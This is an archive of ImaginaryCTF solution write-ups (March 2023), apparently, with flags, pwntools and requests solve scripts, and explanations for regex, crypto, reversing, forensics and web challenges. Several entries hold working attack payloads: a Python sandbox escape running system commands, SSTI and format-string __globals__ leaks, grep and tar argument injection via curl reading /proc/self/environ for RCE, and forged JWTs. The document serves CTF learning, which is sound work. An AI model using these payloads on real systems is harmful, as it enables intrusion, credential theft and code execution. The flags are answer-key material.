Archived Challenges - March 2023

Let's all thank Et3rnos for dedicated channels, FYI, he loves pings.

ictf{w3lcom3_to_r0und_32!}

from pwn import *

# p = process(['./xeger1.py'])
p = remote("puzzler7.imaginaryctf.org", 11003)

for i in range(100):
    p.recvuntil("regex:\n\t")
    rx = p.recvline().strip().decode()
    print(rx)
    parts = rx.split('[')[1:]
    word = ''
    for part in parts:
        c = part[0]
        if '{' in part:
            num = int(part.split('{')[-1][:-1])
            c *= num
        word += c
    print(word)
    p.sendline(word)
    print(i)

p.interactive()

The regex will always be in the form (character set)(optional length) repeated several times. You can split the entire regex into these parts, grab any character from the set, and parse the length, then put the entire string together.

ictf{I_think_it's_been_enough_time_since_the_last_batch_of_regex_challs,_don't_you?}

from pwn import *

payload = '#\r[ x.__init__.__globals__ for x in "".__class__.__base__.__subclasses__() if "wrapper" not in "".__class__(x.__init__) and "os" == x.__init__.__globals__["__name__"]][0]["system"]("cat *")'

# p = process(["python3", "./server.py"])
p = remote("puzzler7.imaginaryctf.org", 11004)
p.sendline(payload + "\n")
print(p.recvall())

Pipe the above into grep -oP ictf{.*?}.

You can use \r to smuggle in code after a comment. The payload above is pretty much copy pasted from https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes#finding-dangerous-libraries-loaded

ictf{I_normally_try_to_be_clever_with_the_flags_but_I'm_tired_so_any_old_flag_will_do}

https://imaginaryctf.org/f/L8WNE#x.py You can step through the regex character by character and parse it, keeping track of capture groups as you go. The lookarounds can (almost) be ignored - because we're generating a string for this regex, the lookarounds must already be valid. The exception is that you can have capture groups inside a lookaround, so you have to track those. The atomic groups are the same as non-capturing groups.

For those who used a library like xeger, rstr, or exrex for the first challenge, this challenge was designed to (hopefully) make those not usable. First, the default python re module doesn't support atomic groups, but you can just replace those with non-capturing groups and have everything work out. Second, those libraries fail on positive lookarounds - they duplicate the regex in the lookaround. Removing these would solve the problem, except that affects the capture groups. It's possible that there are other libraries that work - I only tested these three python libraries.

ictf{this_was_less_difficult_to_make_than_you_might_expect_69a080f3}

from random import randint, seed

ct = b']lFKQGuMKHkt7\'WnRM^H~|<)QmO=7Yo*1}5/q](1hH&y RG$v|RI5&=>>SBg{=Ea5q,V,b_Q\'cM%cBs-G9^nn*i~;%pWBe?,bQKe]g%]9\\L_x!"V::MG2hR,/yr<K}wA}JKH&<O/^#igA@|{*`oB"a<~'

LIMIT = 10**8
alphabet = bytes(range(32, 127))

start = (ct[0] - ord('i') - 32) % 95

def deseedsar(s, key):
    out = []
    for c in s:
        out.append(alphabet[(c - key - 64)%len(alphabet)])
        seed(key)
        key = randint(0, LIMIT)
    return bytes(out)


for key in range(start, LIMIT, 95):
    if deseedsar(ct[:5], key) == b"ictf{":
        print(deseedsar(ct, key))
        break
    if (key // 95) % 10000 == 0:
        print(key)

Brute force is likely the easiest solution here, but there's a few things that make it a tiny bit tricky. First, the keyspace is relatively large, and because the full value of the key is used to seed the next key, we can't just reduce the keyspace to 0-94. One way we can reduce this, however, is by determining what value (mod 95) was used as the first key, because we know the first letter of the flag. Once we've determined this value, we only need to check for this value plus multiples of 95.

The second annoyance is that the flag is quite long. However, to check if a flag works, we only need to check the first few characters. Thus, rather than decrypting the entire flag to check a key, we only need to decrypt the first 5 characters and compare them to ictf{.

The script above brute-forces the key in ~30 seconds.

ictf{the_longer_I_make_this_flag_the_more_it_punishes_not_quitting_early_in_the_brute_force_and_yet_I_know_some_people_will_just_sit_through_it_anyways}

If f(x)=p(x)^2*q(x), then f'(x)=2p(x)*p'(x)*q(x)+q'(x)*p(x)^2=p(x)*r(x), so gcd(f(x), f(x)) will be p(x) assuming p(x) does not divide r(x). To compute the gcd of polynomial with degree 65537 you need to use half GCD algorithm. You can just use an existing implementation for that. After computing the gcd, p(x) will be (x-m1)*(x-m2), and m2 can be found by coppersmith as m2<2^256, then recovering m1 is easy.

https://imaginaryctf.org/f/q3nFD#solve.sage

ictf{solving_for_roots_is_not_that_hard_in_some_cases}

A fantastic solve script by maple: https://imaginaryctf.org/f/LfAKD

The Dockerfile overwrites os.urandom with random.randbytes, meaning that the source of randomness the UUIDs use is just the Mersenne Twister used in default python random. UUID4s are just 16 bytes of randomness, minus 6 bits of information in the middle, meaning that 1000 UUID4s in a row is more than enough information to break the randomness.

ictf{I_thought_about_adding_a_lot_more_web_to_this_challenge_but_it's_been_a_web_heavy_month_already}

ct = [179, 162, 146, 80, 226, 146, 80, 35, 131, 226, 242, 67, 226, 83, 80, 115, 67, 80, 83, 195, 80, 83, 83, 80, 67, 243, 243, 211, 80, 67, 243, 243, 194, 99, 243, 99, 130, 179, 80, 35, 179, 147, 147, 80, 147, 179, 242, 80, 146, 83, 243, 226, 227, 80, 80, 130, 115, 179, 243, 99, 80, 51, 83, 115, 195, 51, 80, 146, 131, 80, 243, 130, 51, 179, 67, 243, 211, 162, 80, 162, 226, 179, 243, 80, 130, 226, 130, 35, 51, 211, 131, 51, 99, 115, 50, 80, 80, 146, 83, 51, 130, 35, 51, 226, 211, 18, 51, 195, 67, 226, 179, 147, 99, 51, 114]
rot = lambda x: ((x>>4)+(x<<4)&0xff)
start = []
end = []

to_start = 0

while(len(ct) > 0):
    char = rot(ct.pop() ^ 0xa5)
    if to_start:
        start.append(char)
    else:
        end = [char] + end
    to_start = not to_start
    
print(bytes(start + end))

This flag checker just checks every byte of the flag by xoring it against a constant and a value from the ct array. It does this by checking the last byte of the flag, then reversing the flag and repeating. The flag can be recovered by xoring the characters and putting them back in the right order.

ictf{this_might_appear_similar_to_a_challenge_of_months_past_but_no_one_ever_accused_me_of_being_terribly_original}

Viewing the TCP stream you see some data starting with "PNG" and "IHDR". You know now it is a png file. Follow the TCP stream and view the data as raw. You will see a lot of hex data. Use the command(on a shell) - unhex '[hex here]' > flag.png and now open the png file to get the flag!

ictf{th3r3_4r3_n0t_4_l0t_0f_pc4p_ch4lls_1n_ictf!}

#!/usr/bin/env python3

from PIL import Image

redacted = Image.open("redacted.png")
out = Image.new(mode="RGBA", size=redacted.size)

w, h = redacted.size

for x in range(w):
    for y in range(h):
        px = redacted.getpixel((x, y))
        if px[-1] == 0:
            px = (*px[:3], 255)
        out.putpixel((x,y), px)

out.save("out.png")

The "redaction" is just making the relevant pixels transparent. Making all pixels visible reveals the flag.

Challenge idea taken from https://twitter.com/wdormann/status/1215746766659837953 - most of the tricks there should work, too.

ictf{I_suppose_should_have_been_more_transparent_with_how_I_redacted_this}

from requests import get
from time import sleep

url = "http://localhost:11000/"
url = "http://puzzler7.imaginaryctf.org:11000/"

for i in range(6, 100):
    req = get(url + "?lastname="+"_"*i)
    if "ictf" in req.text:
        print(req.text)
        break
    sleep(.2)

The SQL query uses LIKE, which tests for similarity to a pattern. % represents any number of characters, while _ represents a single character. The script above asks for increasing lengths of underscores, which will eventually match everything in the database.

http://puzzler7.imaginaryctf.org:11000/?lastname=_____________________________

ictf{dw_this_is_a_short_fl@g}

The website doesn't verify the signature on the JWT, meaning that simply modifying the user field to be "admin" will give the flag.

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.geCMnuPD-hDGUcTAHNkejRWqn6Hs7fEt232okMXLMbY```

ictf{maybe_disabling_the_security_wasn't_a_very_good_idea}

http://puzzler7.imaginaryctf.org:11005/?username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ[BONUS_FLAG]}&password=

The Flask module imports os, which means that any flask object that has access to __globals__ also has access to os, and thus access to the environment variables.

jctf{using_globals_to_get_an_env_var?_you_truly_are_the_envy_of_the_world!_8c7a095d}

The error message has format called on it twice. This means that you can use the username to set up a python string formatting attack with the passhash object. Entering the username {passhash.__str__.__globals__[passhash]} will leak the admin's password hash. Now, throw this into John the Ripper (or hashcat, or your favorite hash cracker) to get the password, and login to get the flag.

I did john --format=raw-sha512 --wordlist=passwords.txt hash where passwords.txt contains the passwords very_secure_salt0000000 to very_secure_salt9999999 and hash is a file that contains the leaked hash.

ictf{mayhaps_displaying_the_password_hash_goes_beyond_helpful_but_I_always_did_like_to_err_on_the_side_of_caution}

Unquoted bash variable will be splited by space so you can do argument injection on grep to read arbitrary files. Getting the ADMIN_SESSION from /proc/self/environ then use another argument injection on tar to get RCE.

sess=$(curl -v 'http://ictf2.maple3142.net:8763/cgi-bin/match' -d 'text=a&regex=^.* /proc/self/environ -a' | tr '\0' '\n' | grep ADMIN_SESSION | awk -F= '{print $2}')
curl -H "Cookie: session=$sess" 'http://ictf2.maple3142.net:8763/cgi-bin/getlogs' -d 'target= -I /readflag>/tmp/flagglaf' -v --output -
curl -v 'http://ictf2.maple3142.net:8763/cgi-bin/match' -d 'text=a&regex=^.* /tmp/flagglaf -a'

ictf{just_some_common_bash_pitfalls}

from requests import get
import jwt # requires pyjwt==2.0.0

url = "http://localhost:11007"
url = "http://puzzler7.imaginaryctf.org:11007"

public_key = get(url + "/pubkey").text
token = jwt.encode({"user": "admin"}, public_key, "HS256")
print(get(url+"/flag", cookies={"token": token}).text)

Setting the algorithm to HS256 makes the server attempt to verify the signature with the public key as though it were the symmetric secret key.

https://github.com/jpadilla/pyjwt/security/advisories/GHSA-ffqj-6fqr-9h24 explains it much better than I could.

ictf{you_would_not_believe_how_long_I_spent_looking_for_a_library_that's_vulnerable_to_this-I_eventually_just_decided_to_downgrade}

This still has an executable stack. So we use a jmp rsp ROP gadget to jump to the stack and put some shellcode on the stack. https://imaginaryctf.org/f/FPTkk

ictf{sometimes_51mpl3r_is_harder_48309}

https://imaginaryctf.org/f/DeTiK#x.py

The program uses a LCG (linear congruential generator) to make random numbers. This can be cracked with just a little bit of math, which is outlined in the solve script above. This allows you to predict the next random numbers, letting you win.

ictf{for_those_people_who_mentioned_that_crypto_doesnt_involve_reversing_a_binary}

{{lipsum.__globals__.os.popen('git log -S "f\'The"').read()}}

There's a trivial SSTI in the number input. We can then find who added the vulnerable code with git log -S "f'The". git blame will not work because of users that reformat the entire file, shifting the blame to them.

ictf{KMclean3341@example.com}